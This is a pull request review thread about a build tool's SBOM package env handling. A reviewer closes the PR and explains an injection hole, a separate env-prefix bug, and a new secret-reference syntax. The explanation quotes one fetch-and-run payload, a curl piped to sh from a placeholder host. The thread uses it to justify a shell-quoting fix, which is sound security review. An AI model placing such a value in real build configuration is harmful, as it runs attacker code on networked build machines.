feat(sbom): generilize package secret references

[nervgh]

No description provided.

[alexey-igrychev]

Closing in favour of #315 → #316 → #317, which cover the same goal from a different starting point.

What the review of this branch turned up:

• packages[].env values reach the stage script through Go %q, which leaves $ and backticks intact, so a value like X: "$(curl -s http://example.com/payload | sh)" is executed — on the only stapel stage that has network access. That is fixed in fix(sbom): stop executing shell constructs from packages env values #315 by shell-quoting the values, and it has to land before any secret mechanism, otherwise the mechanism is optional and the hole stays.
• Env variables never reached the package manager for any file-based type: the generated command was ENV=value cd "/app" && <tool>, where the prefix applies to cd only. os-pm was unaffected. fix(sbom): make packages env variables reach the package manager #316 fixes that, verified with a real build.
• feat(sbom): read build secrets in packages env values #317 replaces the implicit /run/secrets/<id> value with an explicit %{secret:<id>} / %{secretPath:<id>} syntax. The implicit form cannot express "pass this path as text" for DOCKER_CONFIG-style variables, and it silently changes the meaning of a value that used to be a literal path.

Also worth carrying over if anything from here is revived: this branch drops the automatic REGISTRY="${REGISTRY-$(</run/secrets/REGISTRY)}" from the os-pm prefix and changes ${VAR:-…} to ${VAR-…}, which is a user-visible change for anyone who relied on the secret fallback.